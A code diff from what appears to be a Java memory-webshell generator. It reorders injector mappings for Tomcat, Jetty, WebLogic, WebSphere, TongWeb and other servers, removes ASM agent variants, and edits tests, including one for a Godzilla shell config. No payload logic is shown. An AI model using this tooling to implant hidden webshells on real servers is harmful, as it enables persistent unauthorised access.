.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
.addInjector(FILTER, GlassFishFilterInjector.class) .addInjector(FILTER, GlassFishFilterInjector.class)
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class) .addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
.addInjector(LISTENER, GlassFishListenerInjector.class)
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class) .addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjecto
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector; import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
import static com.reajason.javaweb.memshell.ShellType.*; import static com.reajason.javaweb.memshell.ShellType.*;
@@ -24,16 +22,14 @@ public class InforSuiteShell extends AbstractShell {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, GlassFishListenerInjector.class)
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
.addInjector(FILTER, InforSuiteFilterInjector.class) .addInjector(FILTER, InforSuiteFilterInjector.class)
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class) .addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
.addInjector(LISTENER, GlassFishListenerInjector.class)
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class) .addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector; import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector; import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
import static com.reajason.javaweb.memshell.ShellType.*; import static com.reajason.javaweb.memshell.ShellType.*;
@@ -24,13 +22,11 @@ public class JbossShell extends AbstractShell {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, JbossListenerInjector.class)
.addInjector(FILTER, JbossFilterInjector.class) .addInjector(FILTER, JbossFilterInjector.class)
.addInjector(LISTENER, JbossListenerInjector.class)
.addInjector(VALVE, JbossValveInjector.class) .addInjector(VALVE, JbossValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -1,6 +1,9 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.jetty.*; import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner; import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -33,14 +36,13 @@ public class JettyShell extends AbstractShell {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, JettyListenerInjector.class)
.addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
.addInjector(FILTER, JettyFilterInjector.class)
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
.addInjector(SERVLET, JettyServletInjector.class) .addInjector(SERVLET, JettyServletInjector.class)
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class) .addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
.addInjector(FILTER, JettyFilterInjector.class)
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
.addInjector(LISTENER, JettyListenerInjector.class)
.addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class) .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
.addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -1,6 +1,9 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.resin.*; import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector;
import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector;
import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner; import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -28,11 +31,10 @@ public class ResinShell extends AbstractShell {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, ResinListenerInjector.class)
.addInjector(FILTER, ResinFilterInjector.class)
.addInjector(SERVLET, ResinServletInjector.class) .addInjector(SERVLET, ResinServletInjector.class)
.addInjector(FILTER, ResinFilterInjector.class)
.addInjector(LISTENER, ResinListenerInjector.class)
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -23,11 +23,12 @@ public class ServerToolRegistry {
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes(); Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder(); ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
for (String shellType : injectorSupportedShellTypes) { for (Map.Entry<String, Class<?>> entry : rawToolMapping.entrySet()) {
Class<?> shellClass = rawToolMapping.get(shellType); String shellType = entry.getKey();
if (shellClass == null) { if (!injectorSupportedShellTypes.contains(shellType)) {
continue; continue;
} }
Class<?> shellClass = entry.getValue();
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) { if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass); shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass);
@@ -17,9 +17,9 @@ public class SpringWebFluxShell extends AbstractShell {
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(SPRING_WEBFLUX_WEB_FILTER, SpringWebFluxWebFilterInjector.class) .addInjector(SPRING_WEBFLUX_WEB_FILTER, SpringWebFluxWebFilterInjector.class)
.addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class)
.addInjector(SPRING_WEBFLUX_HANDLER_METHOD, SpringWebFluxHandlerMethodInjector.class) .addInjector(SPRING_WEBFLUX_HANDLER_METHOD, SpringWebFluxHandlerMethodInjector.class)
.addInjector(SPRING_WEBFLUX_HANDLER_FUNCTION, SpringWebFluxHandlerFunctionInjector.class) .addInjector(SPRING_WEBFLUX_HANDLER_FUNCTION, SpringWebFluxHandlerFunctionInjector.class)
.addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class)
.build(); .build();
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
import static com.reajason.javaweb.memshell.ShellType.*; import static com.reajason.javaweb.memshell.ShellType.*;
@@ -21,7 +20,6 @@ public class SpringWebMvcShell extends AbstractShell {
.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class) .addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class) .addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class) .addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -33,18 +33,16 @@ public class TomcatShell extends AbstractShell {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, TomcatListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
.addInjector(FILTER, TomcatFilterInjector.class)
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
.addInjector(VALVE, TomcatValveInjector.class)
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
.addInjector(SERVLET, TomcatServletInjector.class) .addInjector(SERVLET, TomcatServletInjector.class)
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class) .addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
.addInjector(FILTER, TomcatFilterInjector.class)
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
.addInjector(LISTENER, TomcatListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
.addInjector(VALVE, TomcatValveInjector.class)
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class) .addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
.build(); .build();
} }
@@ -18,16 +18,14 @@ public class TongWeb6Shell extends AbstractShell {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, TongWebListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
.addInjector(FILTER, TongWebFilterInjector.class) .addInjector(FILTER, TongWebFilterInjector.class)
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class) .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
.addInjector(LISTENER, TongWebListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
.addInjector(VALVE, TongWebValveInjector.class) .addInjector(VALVE, TongWebValveInjector.class)
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -18,16 +18,14 @@ public class TongWeb7Shell extends AbstractShell {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, TongWebListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
.addInjector(FILTER, TongWebFilterInjector.class) .addInjector(FILTER, TongWebFilterInjector.class)
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class) .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
.addInjector(LISTENER, TongWebListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
.addInjector(VALVE, TongWebValveInjector.class) .addInjector(VALVE, TongWebValveInjector.class)
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -1,6 +1,9 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.undertow.*; import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector;
import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInitialHandlerAgentInjector;
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner; import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -38,14 +41,13 @@ public class UndertowShell extends AbstractShell {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, UndertowListenerInjector.class)
.addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
.addInjector(FILTER, UndertowFilterInjector.class)
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
.addInjector(SERVLET, UndertowServletInjector.class) .addInjector(SERVLET, UndertowServletInjector.class)
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class) .addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
.addInjector(FILTER, UndertowFilterInjector.class)
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
.addInjector(LISTENER, UndertowListenerInjector.class)
.addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class) .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -1,6 +1,9 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.weblogic.*; import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
import static com.reajason.javaweb.memshell.ShellType.*; import static com.reajason.javaweb.memshell.ShellType.*;
@@ -18,11 +21,10 @@ public class WebLogicShell extends AbstractShell {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, WebLogicListenerInjector.class)
.addInjector(FILTER, WebLogicFilterInjector.class)
.addInjector(SERVLET, WebLogicServletInjector.class) .addInjector(SERVLET, WebLogicServletInjector.class)
.addInjector(FILTER, WebLogicFilterInjector.class)
.addInjector(LISTENER, WebLogicListenerInjector.class)
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class) .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -1,6 +1,9 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.websphere.*; import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterInjector;
import com.reajason.javaweb.memshell.injector.websphere.WebSphereListenerInjector;
import com.reajason.javaweb.memshell.injector.websphere.WebSphereServletInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner; import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -29,11 +32,10 @@ public class WebSphereShell extends AbstractShell {
@Override @Override
public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, WebSphereListenerInjector.class)
.addInjector(FILTER, WebSphereFilterInjector.class)
.addInjector(SERVLET, WebSphereServletInjector.class) .addInjector(SERVLET, WebSphereServletInjector.class)
.addInjector(FILTER, WebSphereFilterInjector.class)
.addInjector(LISTENER, WebSphereListenerInjector.class)
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class) .addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
.addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -87,7 +87,7 @@ public class CommonUtil {
return sb.toString(); return sb.toString();
} }
public static String getRandomPackageName() { private static String getRandomPackageName() {
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5); return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
} }
@@ -1,30 +0,0 @@
package com.reajason.javaweb.memshell.utils;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
/**
* @author ReaJason
* @since 2025/4/6
*/
public class DigestUtils {
public static String md5Hex(String input) {
try {
MessageDigest md = MessageDigest.getInstance("MD5");
byte[] hashBytes = md.digest(input.getBytes());
// Convert byte array to hex string
StringBuilder hexString = new StringBuilder();
for (byte b : hashBytes) {
String hex = Integer.toHexString(0xff & b);
if (hex.length() == 1) {
hexString.append('0');
}
hexString.append(hex);
}
return hexString.toString();
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException("MD5 algorithm not found", e);
}
}
}
@@ -49,7 +49,7 @@ class GeneratorMainTest {
if (generateResult != null) { if (generateResult != null) {
Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
// System.out.println(Base64.getEncoder().encodeToString(generateResult.getInjectorBytes())); // System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
// System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult)); // System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult)); // Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
} }
@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.config;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
* @author ReaJason * @author ReaJason
@@ -14,7 +14,6 @@ class GodzillaShellConfigTest {
void test() { void test() {
GodzillaConfig shellConfig = GodzillaConfig.builder() GodzillaConfig shellConfig = GodzillaConfig.builder()
.pass("pass").build(); .pass("pass").build();
assertEquals("pass", shellConfig.getPass()); assertEquals("key", shellConfig.getKey());
assertNotEquals("key", shellConfig.getKey());
} }
} }
@@ -1,32 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.jar.asm.ClassReader;
import java.util.Base64;;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2025/3/19
*/
class CustomShellGeneratorTest {
@Test
@SneakyThrows
void test() {
byte[] bytes = new ByteBuddy()
.subclass(Object.class)
.name(CommonUtil.generateShellClassName()).make().getBytes();
String className = CommonUtil.generateShellClassName();
byte[] bytes1 = new CustomShellGenerator(ShellConfig.builder().build(), CustomConfig.builder().shellClassName(className).shellClassBase64(Base64.getEncoder().encodeToString(bytes)).build()).getBytes();
ClassReader classReader = new ClassReader(bytes1);
assertEquals(className, classReader.getClassName().replace("/", "."));
}
}
@@ -1,32 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
import org.junit.jupiter.api.Test;
import java.util.Map;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2025/3/27
*/
class InjectorGeneratorTest {
@Test
void testAsm() {
InjectorConfig injectorConfig = InjectorConfig.builder()
.shellClassBytes("hello".getBytes())
.shellClassName("hello")
.injectorClass(TomcatFilterChainAgentWithAsmInjector.class)
.build();
InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
// injectorGenerator.generate();
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
assertEquals(2, innerClassBytes.size());
innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
}
}
File diff suppressed because one or more lines are too long
@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer; import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import java.util.Base64;; import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
@@ -21,6 +21,6 @@ class GzipBase64Test {
GenerateResult generateResult = new GenerateResult(); GenerateResult generateResult = new GenerateResult();
generateResult.setInjectorBytes("hello world".getBytes()); generateResult.setInjectorBytes("hello world".getBytes());
String pack = new GzipBase64Packer().pack(generateResult); String pack = new GzipBase64Packer().pack(generateResult);
assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.getDecoder().decode(pack)))); assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.decodeBase64(pack))));
} }
} }

Some files were not shown because too many files have changed in this diff Show More